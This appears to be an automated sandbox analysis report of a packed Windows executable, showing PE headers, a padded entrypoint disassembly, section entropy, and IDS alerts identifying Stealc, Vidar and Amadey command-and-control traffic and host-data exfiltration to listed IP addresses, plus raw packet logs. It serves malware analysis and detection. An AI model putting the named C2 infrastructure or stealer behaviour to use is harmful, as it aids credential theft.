File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDD252A0FDAh
lfs ebx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-4Dh], ah
adc dl, byte ptr [eax]
mov ah, 90h
pop ecx
sldt word ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [ecx], eax
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
or dword ptr [edx], ecx
add byte ptr [eax], al
or cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	e3c44e67a2e443da8565e48f4696dd60	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x295000	0x200	3caf6fb1195dba312a10e221c8d6cac2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uogkavog	0x4e1000	0x194000	0x193800	4b7427d33fbe4c534a428a459a4dd438	False	0.9948576179135687	data	7.952806005613873	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vrpmwbzy	0x675000	0x1000	0x600	6262e5a7b32c81e13e0f3ee1df178b0a	False	0.5852864583333334	data	5.087196160867573	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x676000	0x3000	0x2200	2660c0430fdbfc13a39863092414d7bf	False	0.06491268382352941	DOS executable (COM)	0.7884475187481366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-13T14:41:07.558733+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-13T14:41:07.839993+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-13T14:41:07.847069+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49699	TCP
2024-11-13T14:41:08.123183+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-13T14:41:08.131447+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49699	TCP
2024-11-13T14:41:09.228980+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-13T14:41:09.849953+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-13T14:41:20.279271+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.7	49744	TCP
2024-11-13T14:41:31.909328+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:33.309879+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:34.030295+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:34.910640+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:36.348263+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:36.821533+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:41.043906+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49970	185.215.113.16	80	TCP
2024-11-13T14:41:59.926616+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.7	50075	TCP
2024-11-13T14:42:49.339191+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	50114	185.215.113.43	80	TCP
2024-11-13T14:42:52.941505+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50116	185.215.113.16	80	TCP
2024-11-13T14:43:01.565558+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	50115	TCP
2024-11-13T14:43:02.506608+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50119	185.215.113.43	80	TCP
2024-11-13T14:43:03.876029+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50120	212.87.244.196	443	TCP
2024-11-13T14:43:03.876029+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	50120	212.87.244.196	443	TCP
2024-11-13T14:43:08.582717+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50123	185.215.113.43	80	TCP
2024-11-13T14:43:09.478784+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50124	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 14:40:56.972914934 CET	443	49698	104.98.116.138	192.168.2.7
Nov 13, 2024 14:40:56.973160028 CET	49698	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:40:57.872272968 CET	49674	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:40:57.872802973 CET	49675	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:40:57.965656996 CET	49672	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:41:02.794011116 CET	49677	443	192.168.2.7	20.50.201.200
Nov 13, 2024 14:41:03.168653011 CET	49677	443	192.168.2.7	20.50.201.200
Nov 13, 2024 14:41:03.918734074 CET	49677	443	192.168.2.7	20.50.201.200
Nov 13, 2024 14:41:05.418690920 CET	49677	443	192.168.2.7	20.50.201.200
Nov 13, 2024 14:41:06.268301010 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:06.273318052 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:06.273416996 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:06.274771929 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:06.279515028 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:07.179677963 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:07.182298899 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:07.263082027 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:07.268311977 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:07.481149912 CET	49674	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:41:07.481170893 CET	49675	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:41:07.558681965 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:07.558732986 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:07.559998035 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:07.565124989 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:07.574872017 CET	49672	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:41:07.839935064 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:07.839961052 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:07.839993000 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:07.840018988 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:07.842133999 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:07.847069025 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.123119116 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.123183012 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:08.123325109 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.123353958 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.123361111 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:08.123388052 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.123394966 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:08.123406887 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.123481035 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.123492956 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.123502016 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:08.123533010 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:08.123543978 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:08.123996973 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.124182940 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:08.126420975 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:08.131447077 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.403004885 CET	49677	443	192.168.2.7	20.50.201.200
Nov 13, 2024 14:41:08.406143904 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.406335115 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:08.431045055 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:08.431092024 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:08.435859919 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.436117887 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.436129093 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.436139107 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.436148882 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.436269999 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.436280012 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:08.436290026 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.228919983 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.228980064 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.572035074 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.577426910 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.849900007 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.849916935 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.849930048 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.849952936 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.849970102 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.850107908 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.850126982 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.850140095 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.850152969 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.850152969 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.850176096 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.850195885 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.850208044 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.850246906 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.850871086 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.850903988 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.851001978 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.851047039 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.851078987 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.851113081 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.851138115 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.851154089 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.851176977 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.851177931 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:09.851185083 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:09.851234913 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.003336906 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.003371000 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.003386974 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.003402948 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.003405094 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.003426075 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.003454924 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.003587961 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.003633976 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.003793001 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.003809929 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.003828049 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.003843069 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.003859997 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.003859997 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.003874063 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.003874063 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.003892899 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.003892899 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.004611015 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.004626036 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.004642010 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.004668951 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.004690886 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.004698992 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.004715919 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.004734039 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.004743099 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.004797935 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.004983902 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.005779028 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.005795002 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.005810976 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.005825996 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.005845070 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.005850077 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.005863905 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.005883932 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.005923986 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.006540060 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.006594896 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.156358004 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.156389952 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.156404972 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.156430960 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.156447887 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.156462908 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.156455040 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.156498909 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.156529903 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.156814098 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.156905890 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.156927109 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.156955004 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.156955957 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.156981945 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.157001019 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.157027006 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.157027006 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.157043934 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.157212973 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.157284975 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.157301903 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.157326937 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.157327890 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.157350063 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.157354116 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.157370090 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.157387018 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.157403946 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.157411098 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.157412052 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.157422066 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.157428980 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.157480955 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.158052921 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.158083916 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.158117056 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.158173084 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.158173084 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.158201933 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.158267975 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.158283949 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.158301115 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.158337116 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.158339977 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.158355951 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.158356905 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.158376932 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.158387899 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.158394098 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.158397913 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.158407927 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.158412933 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.158444881 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.158444881 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.159189939 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.159223080 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.159236908 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.159240961 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.159275055 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.159275055 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.159281015 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.159297943 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.159324884 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.159329891 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.159329891 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.159342051 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.159358025 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.159365892 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.159379959 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.159498930 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.160176039 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.160192013 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.160217047 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.160233021 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.160239935 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.160239935 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.160254955 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.160254955 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.160269022 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.160270929 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.160301924 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.160365105 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.275182962 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.275213003 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.275230885 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.275245905 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.275264978 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.275279999 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.275295973 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:10.275340080 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.275340080 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.275361061 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:10.309561014 CET	80	49699	185.215.113.206	192.168.2.7
